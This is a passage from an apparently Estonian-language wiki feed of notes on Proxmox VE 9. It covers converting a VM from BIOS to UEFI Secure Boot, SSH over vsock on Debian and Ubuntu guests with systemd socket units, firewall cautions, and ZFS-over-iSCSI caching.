      119      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# cat /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
search.fs_uuid 5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1 root&lt;br /&gt;
set prefix=($root)'/grub'&lt;br /&gt;
configfile $prefix/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/vda1&lt;br /&gt;
/dev/vda1: UUID=&amp;quot;5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1&amp;quot; BLOCK_SIZE=&amp;quot;1024&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;cfa36d3a-01&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Õeldakse virtuaalsele arvutile poweroff ja muudetakse seadistusi&lt;br /&gt;
&lt;br /&gt;
* lisatakse 'EFI Disk' (virtuaalne efi riistvara seadistuste salvestamine jms)&lt;br /&gt;
* muudetakse bios -&amp;gt; uefi&lt;br /&gt;
* muudetakse chipset i440fx -&amp;gt; q35&lt;br /&gt;
* muudetakse display default -&amp;gt; virtio-gpu&lt;br /&gt;
&lt;br /&gt;
Peale muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-02.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Lisaks on boot järjekorra seadmed muudetud&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-03.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tingimata vajalik on virtio1 ja virtio0 - esimesel on bootload ja grub.cfg lühike konf, teisel on konfi sisuline osa&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab arvuti uefi secure boot režiimis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# df -t vfat -t ext4 -T -h&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
/dev/vdb1                         vfat 1020M  8,7M 1012M   1% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kõige lõpus võiks veel öelda, nii tekivad nö naturaalsed efibootmgr ja /boot/efi sissekanded nagu nad oleks seal nö sündinud-uefi'na arvutil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
&lt;br /&gt;
# grub-install /dev/vdb&lt;br /&gt;
Installing for x86_64-efi platform.&lt;br /&gt;
Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0004,0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0004* debian	HD(1,GPT,0fb8cfd1-c90b-4da2-97db-ceda14464a90,0x800,0x1ff000)/File(\EFI\proxmox\shimx64.efi)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Boot Order märkused====&lt;br /&gt;
&lt;br /&gt;
PVE webgui Boot Order määrab kaks&lt;br /&gt;
&lt;br /&gt;
* millised plokkseadmed osalevad uefi faasis&lt;br /&gt;
* millised järjekorras plokkseadmed osalevad uefi faasis alglaadimisel&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult üks seade&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-05.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult kaks seadet&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-04.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Antud juhul on see väga oluline kuna grub alglaadur on kahel seadmel laiali&lt;br /&gt;
&lt;br /&gt;
* grub.efi rakendus asub /dev/vdb&lt;br /&gt;
* grub.conf seadistus asub /dev/vda&lt;br /&gt;
&lt;br /&gt;
Kui Boot Order on linnutatud vaid /dev/vda, siis peatub arvuti käivitumine 'grub&amp;gt;' prompt juures. Selles mõttes võiks olla PVE webgui osakonna nimeks nt 'UEFI device visibility and Boot Order'.&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 26.04 ja Debian v. 13===&lt;br /&gt;
&lt;br /&gt;
Osutub, et uuemal ajal, st PVE v. 9, Debian v. 13 virtuaalne avuti on võimalik PVE host pealt pöörduda guest poole üle ssh kasutades vsock protokolli (mitte tavalist tcp/ip protokollil põhinevat võrku). Selleks tuleb virtuaalsele arvutile lisada PVE platvormi poolt vsock tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# head -n 1 /etc/pve/qemu-server/50056.conf&lt;br /&gt;
args: -device vhost-vsock-pci,guest-cid=50056&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja virtuaalsel arvutil peab olema tarkvaraline vsock tugi. Nt Debian v. 13 puhul on sshd serverisse see integreeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl | grep ssh&lt;br /&gt;
  ssh.service                                                                                           loaded active running   OpenBSD Secure Shell server&lt;br /&gt;
  sshd@2-50056:22-2:3327097365.service                                                                  loaded active running   OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097364)&lt;br /&gt;
  system-sshd.slice                                                                                     loaded active active    Slice /system/sshd&lt;br /&gt;
  sshd-unix-local.socket                                                                                loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local)&lt;br /&gt;
  sshd-vsock.socket                                                                                     loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK)&lt;br /&gt;
  ssh-access.target                                                                                     loaded active active    SSH Access Available&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd-ssh-generator on selline süsteem, mis käigult avastab süsteemi võimekusi ja vastavalt seadistab teenustele omadusi (nt ssh puhul lülitatakse sisse vsock tugi)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl status sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
● sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365)&lt;br /&gt;
     Loaded: loaded (/usr/lib/systemd/system/sshd@.service; static)&lt;br /&gt;
     Active: active (running) since Mon 2026-06-01 00:04:39 EEST; 16s ago&lt;br /&gt;
 Invocation: 84acdad56690460e8e0fbffd2ecd4d69&lt;br /&gt;
TriggeredBy: ● sshd-vsock.socket&lt;br /&gt;
       Docs: man:sshd(8)&lt;br /&gt;
             man:sshd_config(5)&lt;br /&gt;
   Main PID: 876 (sshd-session)&lt;br /&gt;
      Tasks: 1 (limit: 6978)&lt;br /&gt;
     Memory: 1.8M (peak: 3.9M)&lt;br /&gt;
        CPU: 27ms&lt;br /&gt;
     CGroup: /system.slice/system-sshd.slice/sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
             ‣ 876 &amp;quot;sshd-session: root [priv]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Jun 01 00:04:39 unifi-oss systemd[1]: Started sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365).&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: Accepted publickey for root from UNKNOWN port 65535 ssh2: ED25519 SHA256:3cj7QCk4leNOSQJlfeUeHr6YfsA0r3bRUqZS9Rey3jM&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* triggered by 'sshd-vsock.socket'&lt;br /&gt;
&lt;br /&gt;
ssh kliendi st pve host poolel peab olema teadmine, kuidas käituda kui üritatakse kasutada vsock protokolli üle sshd serverit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /lib/systemd/ssh_config.d/20-systemd-ssh-proxy.conf&lt;br /&gt;
# SPDX-License-Identifier: LGPL-2.1-or-later&lt;br /&gt;
#&lt;br /&gt;
# Allow connecting to the local host directly via &amp;quot;.host&amp;quot;&lt;br /&gt;
Host .host machine/.host&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
# Make sure unix/* and vsock/* can be used to connect to AF_UNIX and AF_VSOCK paths.&lt;br /&gt;
# Make sure machine/* can be used to connect to local machines registered in machined.&lt;br /&gt;
#&lt;br /&gt;
Host unix/* vsock/* machine/*&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
        # Disable all kinds of host identity checks, since these addresses are generally ephemeral.&lt;br /&gt;
        StrictHostKeyChecking no&lt;br /&gt;
        UserKnownHostsFile /dev/null&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb kasutada 'man systemd-ssh-proxy' utiliiti&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50056&lt;br /&gt;
Warning: Permanently added 'vsock/50056' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Sun May 31 23:53:37 2026 from 192.168.10.156&lt;br /&gt;
root@unifi-oss:~#&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 23:59:55 up 6 min,  2 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/1    -                23:59    1.00s  0.00s   ?    w&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* vsock kaudu lähenemise puhul on iseloomulik 'FROM -' (tavaliselt on seal src ip aadress)&lt;br /&gt;
&lt;br /&gt;
Peale kasutaja sisselogimist paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ss -a -p --vsock&lt;br /&gt;
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port         Process&lt;br /&gt;
v_str    LISTEN    0         0                        *:22                    *:*             users:((&amp;quot;systemd&amp;quot;,pid=1,fd=66))&lt;br /&gt;
v_str    ESTAB     0         0                    50056:22                    2:3327097366    users:((&amp;quot;sshd-session&amp;quot;,pid=914,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=914,fd=6),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=6),(&amp;quot;systemd&amp;quot;,pid=1,fd=8))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* af_vsock osakonnas on sarnasel af_inet osakonnale ka listen socket ning 'active connected socket'&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal on ssh agar kuulama ka af_unix soketil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# screendump | grep -i ssh&lt;br /&gt;
[  OK  ] Listening on sshd-unix-local.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local).&lt;br /&gt;
[  OK  ] Listening on sshd-vsock.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK).&lt;br /&gt;
[  OK  ] Reached target ssh-access.target - SSH Access Available.&lt;br /&gt;
         Starting ssh.service - OpenBSD Secure Shell server...&lt;br /&gt;
[  OK  ] Started ssh.service - OpenBSD Secure Shell server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja tõesti, lokaalselt saab arvutisse logida sisse nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
Warning: Permanently added 'unix/run/ssh-unix-local/socket' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Mon Jun  1 00:16:42 2026 from UNKNOWN&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 00:16:44 up 23 min,  3 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/2    -                00:16    1.00s  0.00s   ?    w&lt;br /&gt;
root     pts/1    -                00:16    2.00s  0.00s   ?    ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/Linux_operatsioonis%C3%BCsteemis_t%C3%B6%C3%B6tab_v%C3%B5rgu%C3%BChendus#systemd_kasutamine_network-proxy_rollis&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 24.04===&lt;br /&gt;
&lt;br /&gt;
Ettevalmistavalt tuleb 22/tcp käivitada ainult konkreetselt ip aadressil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Liste /etc/ssh/sshd_config&lt;br /&gt;
ListenAddress 192.168.10.194&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja laadida kerneli moodul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# modprobe vmw_vsock_virtio_transport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu 24.04 keskkonnas on tehniliselt kõik vajalik vsock kasutamiseks olemas, tuleb lisada kaks system elementi&lt;br /&gt;
&lt;br /&gt;
* sshd-vsock.socket - õpetab systemd pid=1 protsessile kuulama võrgus 22/vsock pordil&lt;br /&gt;
* sshd-vsock@.service - õpetab 22/vsock pordile sissetuleva pöördumist üleandmist sshd protsessile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ls -ld /etc/systemd/system/sshd-vsock*&lt;br /&gt;
-rw-r--r-- 1 root root 380 Jun 20 15:38 /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
-rw-r--r-- 1 root root 265 Jun 20 13:33 /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket (AF_VSOCK Network-Independent Line)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
# Notice: No &amp;quot;Conflicts=&amp;quot; or &amp;quot;Before=&amp;quot; entries are needed here!&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=vsock::22&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket Per-Connection Daemon (VSOCK Backup)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
After=auditd.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
# The -i flag forces sshd to run in &amp;quot;inetd&amp;quot; mode to accept the raw systemd socket&lt;br /&gt;
ExecStart=-/usr/sbin/sshd -i $SSHD_OPTS&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
RuntimeDirectory=sshd&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena kuulatakse 22/vsock peal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl list-sockets | grep ssh&lt;br /&gt;
192.168.10.194:22                     ssh.socket                      ssh.service&lt;br /&gt;
vsock::22                             sshd-vsock.socket               -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Proxmox VE Firewall===&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Probleeme tekitada võiv kombinatsioon, vältida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; network device -&amp;gt; Firewall - Enable&lt;br /&gt;
* Firewall -&amp;gt; Option - No&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/pve-docs-7/chapter-pve-firewall.html&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pve 9 ja qemu 11 kandis on hakanud ilmuma 'x86_64 v2 aes' virtuaalse protsessori kasutamisel sellised teated, nt 'host' protsessoriga neid ei ole&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveversion&lt;br /&gt;
pve-manager/9.2.3/d0fde103346cf89a (running kernel: 7.0.6-2-pve)&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# dmesg | grep WRMSR | tail -n 4&lt;br /&gt;
[30021.694536] kvm: kvm [323176]: vcpu0, guest rIP: 0xffffffffb807e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30090.614209] kvm: kvm [324048]: vcpu0, guest rIP: 0xffffffff84e6d9b4 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30308.798770] kvm: kvm [326811]: vcpu0, guest rIP: 0xffffffff8d67e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[180421.745980] kvm: kvm [3632532]: vcpu0, guest rIP: 0xffffffff81242297 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===arm64 platvormi emuleerimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et PVE v. 9.2 juures ilmub webgui peale vcpu valik 'arm (64-bit)'&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260614-pve-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# apt-get install pve-edk2-firmware-aarch6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4252</id>
		<title>Proxmox v. 9 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4252"/>
		<updated>2026-06-20T14:21:13Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Üle vsock ssh kasutamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Virtuaalne riistvara===&lt;br /&gt;
&lt;br /&gt;
Klaviatuur ja hiir&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systool -b serio&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# systool -b serio -v&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio0&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 KBD port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    err_count           = &amp;quot;0&amp;quot;&lt;br /&gt;
    extra               = &amp;quot;0&amp;quot;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0303&amp;quot;&lt;br /&gt;
    force_release       = &amp;quot;369-370&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty06pr00id00ex00&amp;quot;&lt;br /&gt;
    scroll              = &amp;quot;0&amp;quot;&lt;br /&gt;
    set                 = &amp;quot;2&amp;quot;&lt;br /&gt;
    softraw             = &amp;quot;1&amp;quot;&lt;br /&gt;
    softrepeat          = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=atkbd&lt;br /&gt;
SERIO_TYPE=06&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty06pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0303&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio1&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 AUX port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0f13&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty01pr00id00ex00&amp;quot;&lt;br /&gt;
    protocol            = &amp;quot;VirtualPS/2&amp;quot;&lt;br /&gt;
    rate                = &amp;quot;100&amp;quot;&lt;br /&gt;
    resetafter          = &amp;quot;5&amp;quot;&lt;br /&gt;
    resolution          = &amp;quot;200&amp;quot;&lt;br /&gt;
    resync_time         = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=psmouse&lt;br /&gt;
SERIO_TYPE=01&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty01pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0f13&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote zfs over iscsi===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* FUA (Forced Unit Access) - &lt;br /&gt;
* WCE (Write Cache Enable) -&lt;br /&gt;
* TPU (Thin Provisioning UNMAP) - &lt;br /&gt;
* TPWS (WRITE_SAME / Zeroing) -&lt;br /&gt;
* VFS (virtual file system) -&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti vaatest andmetega tegelemine&lt;br /&gt;
&lt;br /&gt;
 pve virtuaalne arvuti -&amp;gt; pve füüsiline arvuti -&amp;gt; over-iscsi-zfs-storage-server&lt;br /&gt;
&lt;br /&gt;
Sõltuvalt qemu virtuaalse arvuti virtuaalse plokkseadme 'Cache' seadistustest on võimalik erinevate cache komplektide-kombinatsioonide kasutamine andmete liikumisel virtuaalses arvutis töötava protsessi juurest zfs storage serveri füüsilisele plokkseadmele. Tundub, et 2025 aastal on kõige keskmisemale kasutusele sobiv valik 'Cache: nocache'&lt;br /&gt;
&lt;br /&gt;
* hea jõudlus&lt;br /&gt;
* hea terviklus&lt;br /&gt;
&lt;br /&gt;
Andmete liikumise teekond&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti rakendus&lt;br /&gt;
* virtuaalse arvuti vfs failisüsteem&lt;br /&gt;
* virtuaalse arvuti page cache (vfs'ga seotud)&lt;br /&gt;
* virtuaalse arvuti ext4 failisüsteem (ext4 draiver)&lt;br /&gt;
* virtuaalse arvuti lvm&lt;br /&gt;
* virtuaalse arvuti fdisk partitsioonid&lt;br /&gt;
* virtuaalse arvuti virtuaalne sata vms kontroller&lt;br /&gt;
* füüsilise arvuti qemu protsess&lt;br /&gt;
* füüsilise arvuti open-iscsi poolt teostatud /dev/sda scsi plokkseade (puudub cache)&lt;br /&gt;
* füüsilises arvutis storage'ga seotud cache puudub&lt;br /&gt;
* storage arvuti targetcli (puutub cache)&lt;br /&gt;
* storage arvuti zfs ressurss (sisaldab zfs cache)&lt;br /&gt;
* storage avuti füüsilise plokkseadme controller-cache&lt;br /&gt;
&lt;br /&gt;
